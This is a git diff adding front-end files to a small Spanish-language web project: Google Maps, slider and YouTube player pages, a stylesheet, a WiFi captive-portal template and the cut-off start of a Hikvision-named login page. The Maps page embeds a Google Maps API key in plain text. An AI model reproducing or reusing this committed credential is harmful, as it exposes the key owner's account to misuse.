src/public/Html/obtenerPosicionGmaps.html
Normal file
@@ -0,0 +1,42 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Document</title>
|
||||
|
||||
<link rel="stylesheet" href="https://fonts.googleapis.com/icon?family=Material+Icons">
|
||||
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/0.97.3/css/materialize.min.css">
|
||||
<script type="text/javascript" src="https://code.jquery.com/jquery-3.5.0.min.js"></script>
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/0.97.3/js/materialize.min.js"></script>
|
||||
|
||||
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<input type="text" id="coords" />
|
||||
<div id="mapa">
|
||||
</div>
|
||||
<script>
|
||||
//Funcion principal
|
||||
function initMap() {
|
||||
var coord = { lat: -34.5956145, lng: -58.4431949 };
|
||||
var map = new google.maps.Map(document.getElementById('mapa'), {
|
||||
zoom: 10,
|
||||
center: coord
|
||||
});
|
||||
var marker = new google.maps.Marker({
|
||||
position: coord,
|
||||
map: map,
|
||||
draggable: true
|
||||
});
|
||||
document.getElementById('coords').Value=coord;
|
||||
}
|
||||
window.addEventListener('load',initMap,false);
|
||||
</script>
|
||||
<!--Google Map-->
|
||||
<script async defer src="https://maps.googleapis.com/maps/api/js?key=AIzaSyD_mGoJG4jAVG95O5BZuFe1eskSlWn5Q1M&callback=initMap"></script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
43
src/public/Html/panel_chart_sigma.html
Normal file
43
src/public/Html/panel_chart_sigma.html
Normal file
@@ -0,0 +1,43 @@
|
||||
<html>
|
||||
|
||||
<head>
|
||||
<style>
|
||||
body {
|
||||
background: rgb(40, 66, 83);
|
||||
}
|
||||
</style>
|
||||
<script>
|
||||
var lista_img = [
|
||||
"https://refinariadedados.com.br/wp-content/uploads/2019/10/timser.gif.webp",
|
||||
"http://tuderechoasaber.com.do/wp-content/uploads/2019/02/blockchain.gif",
|
||||
"https://exceljet.net/sites/default/files/styles/original_with_watermark/public/images/charttypes/column%20chart.png?itok=CLQDjIt5",
|
||||
"https://i.pinimg.com/originals/c8/d4/0e/c8d40e9ec4ffd4f3af527eb40ba80462.gif"
|
||||
];
|
||||
window.onload = slider_img;
|
||||
var c=0;
|
||||
function slider_img() {
|
||||
//var img = document.getElementById('chart_images');
|
||||
var img = document.getElementById('img_chart');
|
||||
//document.getElementById("ID_del_div").innerHTML='<img src="./direccion_imagen.jpg" />';
|
||||
img.innerHTML = '<img src="' + lista_img[c] + '" width="400" height="250"/>';
|
||||
console.log("Num Imagenes "+lista_img.length+" index "+c);
|
||||
if(c<lista_img.length-1){
|
||||
//console.log(lista_img[c]+" index="+c);
|
||||
c++;
|
||||
}else{
|
||||
//console.log("reinicio");
|
||||
c=0;
|
||||
}
|
||||
|
||||
}
|
||||
window.setInterval(slider_img, 5000);
|
||||
//window.setTimeout
|
||||
</script>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<h2>Metas de Produccion</h2>
|
||||
<div id="img_chart"></div>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
55
src/public/Html/pruebaControl.html
Normal file
55
src/public/Html/pruebaControl.html
Normal file
@@ -0,0 +1,55 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Document</title>
|
||||
<style>
|
||||
.ctrl_display {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.ctrlVol_fondo {
|
||||
right: 10%;
|
||||
top: 7px;
|
||||
height: 110px;
|
||||
width: 50px;
|
||||
background: rgb(179, 174, 174);
|
||||
border-radius: 5px;
|
||||
}
|
||||
|
||||
.ctrlVol_base {
|
||||
background: rgba(0, 0, 100, .5);
|
||||
top: 20px;
|
||||
}
|
||||
|
||||
.ctrlVol_base input {
|
||||
|
||||
}
|
||||
|
||||
.circulo {
|
||||
border-radius: 50%;
|
||||
}
|
||||
|
||||
.girar90g {
|
||||
ms-transform: rotate(-90deg);
|
||||
/* IE 9 */
|
||||
-webkit-transform: rotate(-90deg);
|
||||
/* Chrome, Safari, Opera */
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<div class="ctrlVol_fondo">
|
||||
<div class="ctrlVol_base girar90g">
|
||||
<span>.......................</span>
|
||||
</div>
|
||||
<input type="range" min="0" max="100" class="girar90g">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</body>
|
||||
|
||||
</html>
|
||||
217
src/public/Html/rep.html
Normal file
217
src/public/Html/rep.html
Normal file
@@ -0,0 +1,217 @@
|
||||
<html>
|
||||
<head>
|
||||
<style>
|
||||
@font-face {
|
||||
font-family: "DS-DIGI";
|
||||
src: url("DS-DIGI.TTF");
|
||||
}
|
||||
#video-placeholder{
|
||||
/*display: none;*/
|
||||
width: 0.5px;
|
||||
height:0.5px;
|
||||
}
|
||||
button{
|
||||
background: transparent;
|
||||
border:none;
|
||||
}
|
||||
button:focus{
|
||||
outline: none;
|
||||
}
|
||||
.parlante{
|
||||
margin-top:50px;
|
||||
width: 100px;
|
||||
height: 100px;
|
||||
display: -webkit-flex; /* Safari */
|
||||
-webkit-align-items: center; /* Safari 7.0+ */
|
||||
display: flex;
|
||||
align-items: center;
|
||||
text-align: center;
|
||||
display: -webkit-flex; /* Safari */
|
||||
-webkit-justify-content: space-around; /* Safari 6.1+ */
|
||||
display: flex;
|
||||
justify-content: space-around;
|
||||
}
|
||||
.parlante img{
|
||||
position: absolute;
|
||||
}
|
||||
.container-button{
|
||||
position: absolute;
|
||||
|
||||
}
|
||||
.container-button button{
|
||||
cursor: pointer;
|
||||
color: #7b7b7c;
|
||||
}
|
||||
|
||||
.clockdate-wrapper {
|
||||
max-width:350px;
|
||||
width:100%;
|
||||
text-align:center;
|
||||
border-radius:5px;
|
||||
margin:0 auto;
|
||||
margin-top:15%;
|
||||
}
|
||||
#clock{
|
||||
font-family: "DS-DIGI";
|
||||
font-size:20px;
|
||||
text-shadow:0px 0px 1px #fff;
|
||||
color:#fff;
|
||||
padding-bottom: 4px;
|
||||
}
|
||||
#clock span {
|
||||
/*color:#888;*/
|
||||
/*text-shadow:0px 0px 1px #333;*/
|
||||
font-size:20px;
|
||||
position:relative;
|
||||
/*top:-27px;
|
||||
left:-10px;*/
|
||||
}
|
||||
</style>
|
||||
<script src="https://use.fontawesome.com/785f5fdffd.js"></script>
|
||||
<Title>parlante</Title>
|
||||
</head>
|
||||
|
||||
<body onload="startTime()">
|
||||
|
||||
<div class="parlante">
|
||||
<img id="parlante" src="parlante.png" width="100px">
|
||||
|
||||
<div class="container-button">
|
||||
|
||||
<div class="clockdate-wrapper">
|
||||
<div id="clock"></div>
|
||||
</div>
|
||||
<button id="play" ></button>
|
||||
<button id="mute-toggle"><i class="fa fa-volume-up" aria-hidden="true"></i></button>
|
||||
</div>
|
||||
</div>
|
||||
<input id="txtmusica" type="text" name="" value="">
|
||||
<button type="button" background="yellow" name="button" onclick="añadirLista()">agregar</button>
|
||||
<div id="listaRep">
|
||||
<textarea id="ListaY" name="ListaY" rows="8" cols="80"></textarea>
|
||||
</div>
|
||||
|
||||
<!-- -->
|
||||
|
||||
<div id="video-placeholder"></div>
|
||||
|
||||
<script src="http://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
|
||||
<script src="http://cdnjs.cloudflare.com/ajax/libs/highlight.js/8.6/highlight.min.js"></script>
|
||||
<script src="https://www.youtube.com/iframe_api"></script>
|
||||
<script type="text/javascript">
|
||||
|
||||
function añadirLista(){
|
||||
var ListMusica = new Array();
|
||||
var nuevoitem = document.getElementById('txtmusica').value;
|
||||
ListMusica.push = nuevoitem.value;
|
||||
|
||||
|
||||
console.log(ListMusica[0], nuevoitem)
|
||||
}
|
||||
var player;
|
||||
var playif;
|
||||
var idVideo;
|
||||
var listaRepY=['8E4Y37YSedk','jdeq6lJXpj0','OCPC19HXwu0'];
|
||||
|
||||
function onYouTubeIframeAPIReady() {
|
||||
idVideo = listaRepY[0];
|
||||
console.log(idVideo);
|
||||
playif=true;
|
||||
player = new YT.Player('video-placeholder', {
|
||||
videoId: idVideo ,
|
||||
playerVars: {
|
||||
autoplay: 1,
|
||||
loop: 1,
|
||||
color: 'white',
|
||||
playlist:idVideo
|
||||
},
|
||||
events: {
|
||||
onReady: initialize
|
||||
}
|
||||
});
|
||||
ifplay($('#play'));
|
||||
}
|
||||
|
||||
function initialize(){
|
||||
// Update the controls on load
|
||||
updateTimerDisplay();
|
||||
updateProgressBar();
|
||||
// Clear any old interval.
|
||||
clearInterval(time_update_interval);
|
||||
// Start interval to update elapsed time display and
|
||||
// the elapsed part of the progress bar every second.
|
||||
time_update_interval = setInterval(function () {
|
||||
updateTimerDisplay();
|
||||
updateProgressBar();
|
||||
console.log("hola")
|
||||
}, 1000)
|
||||
}
|
||||
|
||||
$('#play').on('click', function () {
|
||||
if(!playif){
|
||||
console.log('play')
|
||||
$(this).html('<i class="fa fa-pause" aria-hidden="true"></i>');
|
||||
player.playVideo();
|
||||
}else{
|
||||
$(this).html('<i class="fa fa-play" aria-hidden="true"></i>');
|
||||
console.log('pause',$(this))
|
||||
player.pauseVideo();
|
||||
}
|
||||
playif=!playif;
|
||||
});
|
||||
|
||||
function ifplay(boton){
|
||||
console.log(playif)
|
||||
console.log(boton);
|
||||
if(playif){
|
||||
console.log('play');
|
||||
$(boton).html('<i class="fa fa-pause" aria-hidden="true"></i>');
|
||||
}else{
|
||||
$(boton).html('<i class="fa fa-play" aria-hidden="true"></i>');
|
||||
}
|
||||
player.setVolume(0);
|
||||
}
|
||||
|
||||
$('#pause').on('click', function () {
|
||||
player.pauseVideo();
|
||||
});
|
||||
|
||||
$('#mute-toggle').on('click', function() {
|
||||
var mute_toggle = $(this);
|
||||
if(player.isMuted()){
|
||||
player.unMute();
|
||||
mute_toggle.html('<i class="fa fa-volume-up" aria-hidden="true"></i>');
|
||||
}
|
||||
else{
|
||||
player.mute();
|
||||
mute_toggle.html('<i class="fa fa-volume-off" aria-hidden="true"></i>');
|
||||
}
|
||||
});
|
||||
|
||||
function startTime() {
|
||||
var today = new Date();
|
||||
var hr = today.getHours();
|
||||
var min = today.getMinutes();
|
||||
var sec = today.getSeconds();
|
||||
var ap = (hr < 12) ? "<span>AM</span>" : "<span>PM</span>";
|
||||
hr = (hr == 0) ? 12 : hr;
|
||||
hr = (hr > 12) ? hr - 12 : hr;
|
||||
//Add a zero in front of numbers<10
|
||||
min = checkTime(min);
|
||||
sec = checkTime(sec);
|
||||
document.getElementById("clock").innerHTML = hr + " : " + min + "<br> " + sec+" "+ap;
|
||||
// document.getElementById("clock").innerHTML = hr + " : " + min ;
|
||||
var time = setTimeout(function(){ startTime() }, 500);
|
||||
}
|
||||
|
||||
function checkTime(i) {
|
||||
if (i < 10) {
|
||||
i = "0" + i;
|
||||
}
|
||||
return i;
|
||||
}
|
||||
|
||||
</script>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
15
src/public/Html/reproductor.html
Normal file
15
src/public/Html/reproductor.html
Normal file
@@ -0,0 +1,15 @@
|
||||
<html>
|
||||
<head>
|
||||
<script src="https://www.youtube.com/iframe_api"></script>
|
||||
<script src="https://cdn.rawgit.com/labnol/files/master/yt.js"></script>
|
||||
</head>
|
||||
<body>
|
||||
<div data-video="Qo9GyytH17o"
|
||||
data-autoplay="1"
|
||||
data-loop="1"
|
||||
id="Qo9GyytH17o">
|
||||
</div>
|
||||
|
||||
</body>
|
||||
|
||||
</html>
|
||||
18
src/public/Html/search.js
Normal file
18
src/public/Html/search.js
Normal file
@@ -0,0 +1,18 @@
|
||||
// After the API loads, call a function to enable the search box.
|
||||
function handleAPILoaded() {
|
||||
$('#search-button').attr('disabled', false);
|
||||
}
|
||||
|
||||
// Search for a specified string.
|
||||
function search() {
|
||||
var q = $('#query').val();
|
||||
var request = gapi.client.youtube.search.list({
|
||||
q: q,
|
||||
part: 'snippet'
|
||||
});
|
||||
|
||||
request.execute(function(response) {
|
||||
var str = JSON.stringify(response.result);
|
||||
$('#search-container').html('<pre>' + str + '</pre>');
|
||||
});
|
||||
}
|
||||
17
src/public/Html/test_boostrap.html
Normal file
17
src/public/Html/test_boostrap.html
Normal file
@@ -0,0 +1,17 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Document</title>
|
||||
|
||||
<!-- CSS only -->
|
||||
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.1/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-iYQeCzEYFbKjA/T2uDLTpkwGzCiq6soy8tYaI1GyVh/UjpbCx/TYkiZhlZB6+fzT" crossorigin="anonymous">
|
||||
<!-- JavaScript Bundle with Popper -->
|
||||
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.1/dist/js/bootstrap.bundle.min.js" integrity="sha384-u1OknCvxWvY5kfmNBILK2hRnQC3Pr17a+RTT6rIHI7NnikvbZlHgTPOOmMi466C8" crossorigin="anonymous"></script>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
124
src/public/Html/youtube.html
Normal file
124
src/public/Html/youtube.html
Normal file
@@ -0,0 +1,124 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Document</title>
|
||||
<!--script src="https://www.youtube.com/iframe_api"></script-->
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
<div class="playlist">
|
||||
<textarea name="Yt" id="" cols="30" rows="10"></textarea>
|
||||
<input type="text" id="txtIdVideo">
|
||||
<button class="btn" onclick="cargaVideo()">Add</button>
|
||||
</div>
|
||||
<div id="ytplayer"></div>
|
||||
<div class="cotroles">
|
||||
<button class="btn" id="" onclick="inicia()">Play</button>
|
||||
<button class="btn" onclick="pausa()">Pause</button>
|
||||
<button class="btn" onclick="stopVideo()">Stop</button>
|
||||
<button class="btn" onclick="siguiente()">siguiente</button>
|
||||
<button class="btn" onclick="info()">info</button>
|
||||
</div>
|
||||
<a href="#" id="play-button">Play</a>
|
||||
<a href="#" id="pause-button">Pause</a>
|
||||
|
||||
<script type="text/javascript">
|
||||
var listaRepY = ['Qo9GyytH17o', 'jdeq6lJXpj0', 'OCPC19HXwu0', 'AnF_VOliv0E', 'MM0lWsvieaE', 'SM_1vxkMjkY'];
|
||||
var idVideo = listaRepY[5];
|
||||
|
||||
|
||||
// Replace the 'ytplayer' element with an <iframe> and
|
||||
// YouTube player after the API code downloads.
|
||||
var player;
|
||||
function onYouTubePlayerAPIReady() {
|
||||
player = new YT.Player('ytplayer', {
|
||||
height: '360',
|
||||
width: '640',
|
||||
videoId: idVideo,
|
||||
playerVars: {
|
||||
autoplay: 1,
|
||||
loop: 1,
|
||||
color: 'white',
|
||||
playlist: idVideo,
|
||||
controls: 0,
|
||||
iv_load_policy: 3,
|
||||
showinfo: 0,
|
||||
},
|
||||
events: {
|
||||
'onReady': onPlayerReady
|
||||
//'onStateChange': onPlayerStateChange
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
function onPlayerReady(event) {
|
||||
|
||||
// bind events
|
||||
var playButton = document.getElementById("play-button");
|
||||
playButton.addEventListener("click", function () {
|
||||
player.playVideo();
|
||||
});
|
||||
|
||||
var pauseButton = document.getElementById("pause-button");
|
||||
pauseButton.addEventListener("click", function () {
|
||||
player.pauseVideo();
|
||||
});
|
||||
|
||||
}
|
||||
|
||||
// Inject YouTube API script
|
||||
var tag = document.createElement('script');
|
||||
tag.src = "//www.youtube.com/player_api";
|
||||
var firstScriptTag = document.getElementsByTagName('script')[0];
|
||||
firstScriptTag.parentNode.insertBefore(tag, firstScriptTag);
|
||||
|
||||
function inicia() {
|
||||
onYouTubePlayerAPIReady();
|
||||
player.playVideo();
|
||||
console.log("Play");
|
||||
}
|
||||
function pausa() {
|
||||
player.pauseVideo();
|
||||
console.log("pause");
|
||||
}
|
||||
function stopVideo() {
|
||||
player.stopVideo();
|
||||
console.log("Stop");
|
||||
}
|
||||
let c = 0;
|
||||
function siguiente() {
|
||||
//player.siguiente();
|
||||
|
||||
console.log("Siguiente");
|
||||
if (c < listaRepY.length) {
|
||||
c++;
|
||||
console.log(c + " suma");
|
||||
} else {
|
||||
c = 0;
|
||||
}
|
||||
idVideo = listaRepY[c];
|
||||
console.log(c + "=" + listaRepY.length);
|
||||
}
|
||||
function cargaVideo() {
|
||||
var nVideo = document.getElementById('txtIdVideo').value;
|
||||
console.log(nVideo);
|
||||
loadVideoById(listaRepY[0], 5, "large")
|
||||
}
|
||||
function info() {
|
||||
console.log(player.getPlayerState());;
|
||||
}
|
||||
|
||||
// Load the IFrame Player API code asynchronously.
|
||||
var tag = document.createElement('script');
|
||||
tag.src = "https://www.youtube.com/player_api";
|
||||
var firstScriptTag = document.getElementsByTagName('script')[0];
|
||||
firstScriptTag.parentNode.insertBefore(tag, firstScriptTag);
|
||||
</script>
|
||||
<!--script src="control.js"></script-->
|
||||
</body>
|
||||
|
||||
</html>
|
||||
207
src/public/css/telcotronics.css
Normal file
207
src/public/css/telcotronics.css
Normal file
@@ -0,0 +1,207 @@
|
||||
/* General Reset */
|
||||
* {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
body {
|
||||
font-family: 'Roboto', sans-serif;
|
||||
line-height: 1.6;
|
||||
color: #333;
|
||||
background-color: #f9f9f9;
|
||||
}
|
||||
|
||||
.container {
|
||||
width: 90%;
|
||||
max-width: 1200px;
|
||||
margin: 0 auto;
|
||||
}
|
||||
|
||||
/* Header */
|
||||
.header {
|
||||
background: #004080;
|
||||
color: #fff;
|
||||
padding: 1rem 0;
|
||||
}
|
||||
|
||||
.header .logo {
|
||||
font-size: 1.5rem;
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.header .navigation ul {
|
||||
display: flex;
|
||||
justify-content: space-around;
|
||||
list-style: none;
|
||||
}
|
||||
|
||||
.header .navigation ul li a {
|
||||
color: #fff;
|
||||
text-decoration: none;
|
||||
padding: 0.5rem 1rem;
|
||||
transition: background-color 0.3s;
|
||||
}
|
||||
|
||||
.header .navigation ul li a:hover {
|
||||
background: #0066cc;
|
||||
border-radius: 5px;
|
||||
}
|
||||
|
||||
/* Hero Section */
|
||||
.hero {
|
||||
background: linear-gradient(to right, #004080, #0066cc);
|
||||
color: #fff;
|
||||
text-align: center;
|
||||
padding: 4rem 2rem;
|
||||
}
|
||||
|
||||
.hero h1 {
|
||||
font-size: 2.5rem;
|
||||
margin-bottom: 1rem;
|
||||
}
|
||||
|
||||
.hero p {
|
||||
font-size: 1.2rem;
|
||||
margin-bottom: 2rem;
|
||||
}
|
||||
|
||||
.hero .btn-primary {
|
||||
background: #ffaa00;
|
||||
color: #fff;
|
||||
padding: 0.75rem 1.5rem;
|
||||
text-decoration: none;
|
||||
border-radius: 5px;
|
||||
transition: background-color 0.3s;
|
||||
}
|
||||
|
||||
.hero .btn-primary:hover {
|
||||
background: #cc8800;
|
||||
}
|
||||
|
||||
/* Carousel Section */
|
||||
.carousel {
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
width: 100%;
|
||||
margin: 2rem 0;
|
||||
}
|
||||
|
||||
.carousel img {
|
||||
width: 100%;
|
||||
display: block;
|
||||
border-radius: 5px;
|
||||
}
|
||||
|
||||
.carousel-inner {
|
||||
display: flex;
|
||||
transition: transform 0.5s ease-in-out;
|
||||
}
|
||||
|
||||
.carousel-buttons {
|
||||
position: absolute;
|
||||
top: 50%;
|
||||
width: 100%;
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
transform: translateY(-50%);
|
||||
}
|
||||
|
||||
.carousel-buttons button {
|
||||
background: rgba(0, 0, 0, 0.5);
|
||||
color: #fff;
|
||||
border: none;
|
||||
padding: 0.5rem 1rem;
|
||||
cursor: pointer;
|
||||
transition: background 0.3s;
|
||||
}
|
||||
|
||||
.carousel-buttons button:hover {
|
||||
background: rgba(0, 0, 0, 0.8);
|
||||
}
|
||||
|
||||
/* Services Section */
|
||||
.services {
|
||||
padding: 3rem 0;
|
||||
background: #fff;
|
||||
}
|
||||
|
||||
.services h2 {
|
||||
text-align: center;
|
||||
margin-bottom: 2rem;
|
||||
font-size: 2rem;
|
||||
}
|
||||
|
||||
.service-grid {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
|
||||
gap: 1.5rem;
|
||||
}
|
||||
|
||||
.service-item {
|
||||
background: #f1f1f1;
|
||||
padding: 1.5rem;
|
||||
text-align: center;
|
||||
border-radius: 5px;
|
||||
box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1);
|
||||
transition: transform 0.3s;
|
||||
}
|
||||
|
||||
.service-item:hover {
|
||||
transform: scale(1.05);
|
||||
}
|
||||
|
||||
.service-item h3 {
|
||||
margin-bottom: 0.5rem;
|
||||
}
|
||||
|
||||
/* Products Section */
|
||||
.products {
|
||||
padding: 3rem 0;
|
||||
background: #eef5ff;
|
||||
}
|
||||
|
||||
.products h2 {
|
||||
text-align: center;
|
||||
margin-bottom: 2rem;
|
||||
font-size: 2rem;
|
||||
}
|
||||
|
||||
.product-grid {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
|
||||
gap: 1.5rem;
|
||||
}
|
||||
|
||||
.product-item {
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.product-item img {
|
||||
width: 100%;
|
||||
max-width: 200px;
|
||||
margin-bottom: 1rem;
|
||||
border-radius: 5px;
|
||||
}
|
||||
|
||||
.product-item h3 {
|
||||
font-size: 1.2rem;
|
||||
color: #004080;
|
||||
}
|
||||
|
||||
/* Footer */
|
||||
.footer {
|
||||
background: #004080;
|
||||
color: #fff;
|
||||
padding: 1rem 0;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.footer a {
|
||||
color: #ffaa00;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
.footer a:hover {
|
||||
text-decoration: underline;
|
||||
}
|
||||
BIN
src/public/img/portal/favicon.ico
Normal file
BIN
src/public/img/portal/favicon.ico
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 9.4 KiB |
BIN
src/public/img/portal/login.jpg
Normal file
BIN
src/public/img/portal/login.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 20 KiB |
BIN
src/public/img/portal/logo.png
Normal file
BIN
src/public/img/portal/logo.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 1.3 KiB |
202
src/public/plantilla_html/portal_cautivo.html
Normal file
202
src/public/plantilla_html/portal_cautivo.html
Normal file
@@ -0,0 +1,202 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="es">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Portal WiFi - Tema Oscuro</title>
|
||||
<style>
|
||||
/* General Styles */
|
||||
* {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
body {
|
||||
font-family: 'Arial', sans-serif;
|
||||
background: linear-gradient(135deg, #121212, #1e1e1e);
|
||||
color: #e0e0e0;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
height: 100vh;
|
||||
}
|
||||
|
||||
.wifi-portal {
|
||||
width: 100%;
|
||||
max-width: 400px;
|
||||
background: #1e1e1e;
|
||||
border-radius: 15px;
|
||||
padding: 20px;
|
||||
box-shadow: 0 10px 30px rgba(0, 0, 0, 0.8);
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
/* Title and Text */
|
||||
.wifi-portal h1 {
|
||||
font-size: 1.8em;
|
||||
margin-bottom: 10px;
|
||||
font-weight: 700;
|
||||
color: #00C6FF;
|
||||
}
|
||||
|
||||
.wifi-portal p {
|
||||
font-size: 1em;
|
||||
margin-bottom: 20px;
|
||||
color: #e0e0e0;
|
||||
}
|
||||
|
||||
/* Buttons */
|
||||
.btn {
|
||||
display: block;
|
||||
width: 100%;
|
||||
background: #0078FF;
|
||||
border: none;
|
||||
padding: 12px;
|
||||
font-size: 1em;
|
||||
color: #fff;
|
||||
border-radius: 5px;
|
||||
cursor: pointer;
|
||||
font-weight: 500;
|
||||
margin-bottom: 15px;
|
||||
transition: background 0.3s;
|
||||
}
|
||||
|
||||
.btn:hover {
|
||||
background: #005BB5;
|
||||
}
|
||||
|
||||
.btn-google {
|
||||
background: #DB4437;
|
||||
}
|
||||
|
||||
.btn-google:hover {
|
||||
background: #B8362D;
|
||||
}
|
||||
|
||||
.btn-facebook {
|
||||
background: #4267B2;
|
||||
}
|
||||
|
||||
.btn-facebook:hover {
|
||||
background: #365899;
|
||||
}
|
||||
|
||||
.btn-otg {
|
||||
background: #4CAF50;
|
||||
}
|
||||
|
||||
.btn-otg:hover {
|
||||
background: #388E3C;
|
||||
}
|
||||
|
||||
.btn-login {
|
||||
display: none; /* Oculto inicialmente */
|
||||
background: #FF9800;
|
||||
}
|
||||
|
||||
.btn-login:hover {
|
||||
background: #E68900;
|
||||
}
|
||||
|
||||
/* Hidden Textbox */
|
||||
.textbox-container {
|
||||
display: none;
|
||||
margin-top: 20px;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
.textbox-container label {
|
||||
font-size: 0.9em;
|
||||
color: #cfcfcf;
|
||||
margin-bottom: 5px;
|
||||
display: block;
|
||||
}
|
||||
|
||||
.textbox-container input {
|
||||
width: 100%;
|
||||
padding: 10px;
|
||||
font-size: 1em;
|
||||
border: 1px solid #333;
|
||||
border-radius: 5px;
|
||||
background: #2a2a2a;
|
||||
color: #fff;
|
||||
outline: none;
|
||||
}
|
||||
|
||||
.textbox-container input:focus {
|
||||
border-color: #00C6FF;
|
||||
}
|
||||
|
||||
/* Footer Styles */
|
||||
.footer-text {
|
||||
margin-top: 20px;
|
||||
font-size: 0.85em;
|
||||
color: #cfcfcf;
|
||||
}
|
||||
|
||||
.footer-text a {
|
||||
color: #00C6FF;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
.footer-text a:hover {
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
/* Responsive Design */
|
||||
@media (max-width: 768px) {
|
||||
.wifi-portal {
|
||||
padding: 15px;
|
||||
}
|
||||
|
||||
.wifi-portal h1 {
|
||||
font-size: 1.5em;
|
||||
}
|
||||
|
||||
.btn {
|
||||
font-size: 0.9em;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="wifi-portal">
|
||||
<h1>Bienvenido al Portal WiFi</h1>
|
||||
<p>Conéctate a nuestra red para disfrutar del servicio.</p>
|
||||
<button class="btn btn-google">Iniciar sesión con Google</button>
|
||||
<button class="btn btn-facebook">Iniciar sesión con Facebook</button>
|
||||
<button class="btn btn-otg" onclick="showTextbox()">Conexión rápida (OTG)</button>
|
||||
|
||||
<!-- Hidden Textbox and Login Button -->
|
||||
<div class="textbox-container" id="otgTextbox">
|
||||
<label for="otgCode">Ingresa tu código OTG:</label>
|
||||
<input type="text" id="otgCode" placeholder="Ejemplo: 123456" />
|
||||
<button class="btn btn-login" id="loginButton" onclick="submitOTG()">Login</button>
|
||||
</div>
|
||||
|
||||
<p class="footer-text">¿Problemas? <a href="#">Contáctanos</a></p>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
// Función para mostrar el textbox y el botón de login
|
||||
function showTextbox() {
|
||||
const textboxContainer = document.getElementById('otgTextbox');
|
||||
const loginButton = document.getElementById('loginButton');
|
||||
textboxContainer.style.display = 'block'; // Mostrar el contenedor del textbox
|
||||
loginButton.style.display = 'block'; // Mostrar el botón de login
|
||||
}
|
||||
|
||||
// Función para manejar el login (puedes personalizarlo según tus necesidades)
|
||||
function submitOTG() {
|
||||
const otgCode = document.getElementById('otgCode').value;
|
||||
if (otgCode.trim() === '') {
|
||||
alert('Por favor, ingresa un código OTG.');
|
||||
} else {
|
||||
alert(`Código OTG ingresado: ${otgCode}`);
|
||||
// Aquí puedes enviar el código al servidor o procesarlo
|
||||
}
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
203
src/public/plantilla_html/portal_hikvision.html
Normal file
203
src/public/plantilla_html/portal_hikvision.html
Normal file
@@ -0,0 +1,203 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="es">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Login</title>
|
||||
<style>
|
||||
* {
|
||||
box-sizing: border-box;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
font-family: Arial, sans-serif;
|
||||
}
|
||||
|
||||
body {
|
||||
background-image: url('../img/portal/login.jpg'); /* Imagen de fondo */
|
||||
background-size: cover;
|
||||
background-position: center;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
height: 100vh;
|
||||
}
|
||||
|
||||
.language-selector {
|
||||
position: absolute;
|
||||
top: 10px;
|
||||
right: 20px;
|
||||
background-color: rgba(255, 255, 255, 0.8);
|
||||
padding: 10px;
|
||||
border-radius: 5px;
|
||||
}
|
||||
|
||||
